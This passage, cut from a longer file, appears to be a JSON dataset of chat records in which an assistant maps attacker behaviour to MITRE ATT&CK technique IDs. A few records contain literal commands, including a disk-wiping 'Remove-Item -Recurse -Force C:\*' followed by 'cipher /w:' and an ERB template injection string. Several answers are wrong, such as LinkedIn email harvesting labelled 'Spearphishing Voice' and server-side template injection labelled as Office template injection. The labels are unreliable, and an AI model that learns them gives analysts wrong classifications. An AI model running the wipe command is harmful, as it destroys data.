                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the registry for the value of 'ImagePath' under HKLM\\SYSTEM\\CurrentControlSet\\Services."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses extra window memory injection to place a payload into the memory of a hidden window owned by a privileged process and then runs it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a batch file that is executed via the Windows command interpreter to modify system settings."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the 'user.js' configuration file of Firefox to find embedded passwords and authentication details."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor utilizes raw TCP packets with non-standard flags to receive configuration updates from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the `date` command on the compromised host to learn the current system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes .lnk shortcut files with swapped icons to deliver a backdoor, relying on users trusting the familiar icon appearance."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SVG file embedded with JavaScript is sent to a target, and when the SVG is viewed in a web browser, the script runs and downloads a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrated logs are split into 5 KB chunks and uploaded sequentially to blend in with normal traffic size patterns."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code sends commands to the cryptographic hardware to enter a locked state, halting all encryption services."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'repadmin /showrepl' and parses the output to infer the presence of domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware removes the audit daemon's startup entry, preventing audit logs from being generated after reboot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage an inactive cloud region to establish a covert command and control channel."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors target an installer file on a public repository with overly permissive permissions, swapping it with a trojanized installer that executes their ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is stored on a portable SSD and executed on the victim machine after the device is mounted."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed credential stuffing against Azure portal logins, eventually compromising several cloud accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scripted network scan, the attacker maps the victim’s IP address space."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant establishes a symmetric encryption tunnel (e.g., DES) for covert data transfer to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a rogue fork of a public repository, added malicious code, and then pushed changes back to the upstream repository."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts WHOIS registration data to pinpoint the geographical location of the target's domain registrant."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses the Windows Search Index to locate files containing the keyword 'confidential' and gathers them."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module runs \"wmic computersystem get model,manufacturer\" to collect hardware manufacturer and model information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests local system data, including spreadsheets and PDFs, and stores them locally before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed WHOIS lookups and domain registrations to collect contact information of individuals responsible for managing the victim's web services."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages a vulnerable PAM module to perform a stack overflow, escalating privileges to root during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a phishing link that runs JavaScript to copy the session cookie and post it back to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is posted in a social media comment, enticing users to click and execute ransomware on their devices."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages SecretsDump.py to pull NTDS.dit and SYSTEM hive for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through careful manipulation of the Windows kernel transaction manager, the malware performs Process Doppelgänging to bypass code‑signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacked a CI/CD pipeline to inject a malicious step that runs 'docker exec' on target containers."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a tampered system image to gain persistent control over the target environment."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a high-volume HTTP GET request flood directed at the target’s public IP, exhausting its bandwidth and causing a direct network denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A security researcher reports that inserting \"<%=`ls -la`%>\" into a user comment field in a Ruby on Rails app triggers server-side template injection via ERB rendering."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised admin account to disable Keychain’s access control, allowing unrestricted reading of all credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group disguises data exfiltration by encoding it within seemingly benign FTP commands, blending in with regular file transfers."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a compromised third‑party app to harvest OAuth tokens from users' Twitter accounts, granting full access to their feeds and DMs."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performed a DCSync attack by requesting replication of the krbtgt account hash from the Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware wipes the system's network connection history and erases configuration files that track recent IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uploaded a ransomware payload to the \\\"ADMIN$\\\" share and triggered its execution by creating a scheduled task on the remote machine."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit autorun functionality on removable media to automatically launch a trojan that then copies itself to other connected USB devices."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the script execution policy to bypass and creates a JScript file that proxies network traffic to a remote command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized the “ping sweep” technique, sending ICMP echo requests to a subnet to discover live hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware retrieves the IP address of its remote control server via a HTTP request to a domain that resolves to a rotating set of IPs."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes WHOIS database queries to compile a list of email addresses associated with the target's domain registrations."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed Pass-the-Ticket to bypass multi-factor authentication by reusing existing tickets."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged the IIS URLScan tool to bypass input validation and execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the SAM and SYSTEM registry hives from a mounted disk image to retrieve credentials offline."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation technique involves inserting dead code segments that are never called, increasing the binary's footprint."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leverages Azure Kubernetes Service (AKS) to set up a scheduled pod that runs PowerShell commands for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploited rundll32.exe to execute a DLL that performed credential dumping via LSASS memory reading, bypassing DLL injection defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the 'AutoRun' entry in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer to prevent autorun of removable media."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performed credential stuffing against Salesforce login portals, successfully obtaining valid user accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase a domain name and set up a phishing website to serve as a drop site for stolen data."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages AS-REP roasting to collect encrypted Kerberos tickets from privileged accounts that have pre-authentication turned off, aiming to crack them offline."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a privilege escalation bug to read securityd's memory and harvest stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware decrypts stored Wi‑Fi passwords from Windows Credential Manager to gain network access."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages WMI to invoke the Win32_OperatingSystem class method \"Reboot\" on remote hosts, causing them to restart without user consent."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the 'driverquery' command to list all device drivers and their versions."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests email addresses from LinkedIn profiles to build a phishing list."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary infiltrated a cloud service provider’s CI/CD pipeline, signing malicious binaries with the provider’s legitimate code‑signing certificate before they were delivered to end users."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies the sudoers file to add a backdoor entry allowing password‑less root access."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool gathers Wi‑Fi network profiles via the 'nmcli device wifi list' command on Linux."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses the mail protocol’s MIME multipart format to split exfiltrated data across multiple email parts."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executed 'nmap -sn 192.168.1.0/24' to identify live hosts before moving laterally."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ Windows Management Instrumentation (WMI) to transfer malicious files from the original compromised host to new targets."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a spearphishing service where victims receive emails with malicious attachments that, once opened, exfiltrate credential data."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool issues the PowerShell command \"Remove-Item -Path C:\\* -Recurse -Force\" followed by \"cipher /w:\" to securely delete all files and wipe free space."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the boot manager's configuration to load a malicious kernel module during system startup."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute AS-REP roasting by enumerating accounts with Kerberos pre-authentication disabled and retrieving their AS-REP data for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases exploit kits from cybercrime forums and leverages them to obtain remote code execution on victim endpoints."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor queries the system for top‑level windows to gather information about the user’s activities."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit was delivered through an RDP session, granting the attacker remote graphical access to the server."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the API to perform a secure erase of the SSD, deleting all persistent data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using AS-REP roasting, the adversary harvests AS-REP hashes from the Active Directory and performs offline brute-force attacks to recover cleartext credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script disables the host-based intrusion prevention system by stopping its service and deleting its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
